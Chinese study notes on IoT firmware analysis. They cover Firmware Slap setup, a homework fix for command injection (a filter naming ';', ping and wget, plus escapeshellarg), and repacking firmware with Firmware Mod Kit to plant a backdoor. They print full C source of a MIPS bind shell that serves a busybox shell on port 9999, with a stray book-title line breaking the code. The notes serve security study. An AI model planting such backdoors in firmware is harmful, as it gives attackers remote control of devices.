---
# System prepended metadata

title: IOT firmware analysis tookkit
tags: [IOT]

---

# IOT firmware analysis tookkit 

##  Firmware slap

- [DEF CON 27 Conference](https://www.youtube.com/watch?v=YwEQt4i_AUo&t=371s&ab_channel=DEFCONConference)
- [Firmware slap github](https://github.com/ChrisTheCoolHut/Firmware_Slap)
- 環境 ubuntu 18.04
- [python 3.7 虛擬環境](https://medium.com/python4u/python-virtualenv%E8%99%9B%E6%93%AC%E7%92%B0%E5%A2%83%E5%AE%89%E8%A3%9D-9d6be2d45db9)

---

1. 簡介

:::info 

1. DEF CON 27 Hacking Conference Presentation

2. Discovering vulnerabilities in firmware through concolic analysis and function clustering.
    (補充 concolic 應該類似於符號執行 ，function clustering 分類 )

3. Firmware slap is built as a series of libraries and exports most information as either pickles or JSON for integration with other tools

:::

### 補充
[celery](https://docs.celeryproject.org/en/stable/getting-started/first-steps-with-celery.html) : 可以理解為是幫助一些指定的工作異步化，不用等待io的工具。

Celery is a task queue with batteries included. It’s easy to use so that you can get started without learning the full complexities of the problem it solves. It’s designed around best practices so that your product can scale and integrate with other languages, and it comes with the tools and support you need to run such a system in production.

rabbitmq


---

2. 安裝

創建虛擬環境：
![](https://i.imgur.com/nBDVYna.png)

若以創建過，則直接開啟虛擬環境即可

> workon fwslap

並在此開啟另一個terminal 

下一步 cd 進入資料夾 開始安裝

![](https://i.imgur.com/jqtN5P2.png)

此系統需要使用Ghidra ，要先安裝 JDK 11

![](https://i.imgur.com/csWuTzB.png)


再安裝 rabbitmq, docker, 和 radare2 、 Ghidra
![](https://i.imgur.com/EUyCW85.png)


3. 執行
在檔案根目錄下 
啟動監聽 輸入
修正:
> celery -A firmware_slap.celery_tasks worker --loglevel=INFO


![](https://i.imgur.com/xw2hFVA.png)



#### 執行畫面

![](https://i.imgur.com/ymhxkp8.png)

![](https://i.imgur.com/n9Hfmzc.png)


#### 過程中遇到問題

![](https://i.imgur.com/eWp7Vbt.png)
> ghidra analysis 出現問題，添加 Headless Analyzer ，和修改很久還是無法成功分析function


修改成預設 r2分析
改用r2 分析，但似乎版本關係，原始code已無法使用
```python=
 parser.add_argument("--use_radare2",
                    dest="use_ghidra",
                    default=False,

```
   


修改找原因

![](https://i.imgur.com/YzcUR8W.png)

**若看到 pvars regvars 的error訊息
![](https://i.imgur.com/na9Y3F0.png)

r2要裝github上的版本


成功執行

接下來 kibana 和 Elastic search 的部分，會出現 import failed 問題
![](https://i.imgur.com/d00F5XA.png)




待研究 : Elastic search 






## 作業 - 韌體打包

以上次Netgear為例子:

![](https://i.imgur.com/CrhRao7.png)

command injection 方法:
 - 白名單:過濾 ;、ping、wget、
 - escapeshellarg
 - 簡易demo
command injection
![](https://i.imgur.com/FEimEYa.png)


加入 escapeshellarg

![](https://i.imgur.com/dpTwDcG.png)

修改漏洞php file

![](https://i.imgur.com/jKLFp6T.png)



### 打包工具 Firmware Mod Kit（FMK）


[官方文件](https://bitsum.com//firmware_mod_kit.htm)

重新打包一個檔案系統成一個韌體是使用 build-firmware.sh，內容主要是使用 squashfs 與 cramfs 工具進行檔案目錄的包裝。
測試後確認他需要使用 ./extract-firmware.sh
提取韌體檔後 根據其對應的log file 來build 新的韌體檔，且發現他若未有對應的filesystem 就不會成功
![](https://i.imgur.com/vuot22a.png)

這邊以另一個韌體檔DIR300 我已用 ./extract-firmware.sh 提取出來




基於他沒辦法提取只好嘗試其他在韌體，並試著在其中添加後門

![](https://i.imgur.com/lfhHc05.png)


檢查架構可以看到是MIPS little endian
![](https://i.imgur.com/uZWGT4E.png)

![](https://i.imgur.com/R6Qkgl1.png)




Osanda Malith 開發的後門程式碼

```=C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SERVER_PORT  9999
 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
  * Bind Shell using Fork for my TP-Link mr3020 router running busybox
  * Arch : MIPS
  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
  */
int main() {
   int serverfd, clientfd, server_pid, i = 0;
   char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
   char *args[] = { "/bin/busybox", "sh", (char *) 0 };
   Analyzing and Exploiting Firmware
   struct sockaddr_in server, client;
   socklen_t len;

   server.sin_family = AF_INET;
   server.sin_port = htons(SERVER_PORT);
   server.sin_addr.s_addr = INADDR_ANY;

   serverfd = socket(AF_INET, SOCK_STREAM, 0);
   bind(serverfd, (struct sockaddr *)&server, sizeof(server));
   listen(serverfd, 1);

    while (1) {
         len = sizeof(struct sockaddr);
         clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
        server_pid = fork();
        if (server_pid) {
         write(clientfd, banner,  strlen(banner));
           for(; i <3 /*u*/; i++) dup2(clientfd, i);
           execve("/bin/busybox", args, (char *) 0);
           close(clientfd);
         } close(clientfd);
    } return 0;
}


```
原本在這階段要計畫用 buildroot 建立 Mips Cross-Compiler 的環境

和下一步找可以放置程式碼的地方，並配合模擬器讓他在啟動後執行
但尚未成功

打包好後的程式碼
![](https://i.imgur.com/1y5NP1A.png)




###### tags: `IOT`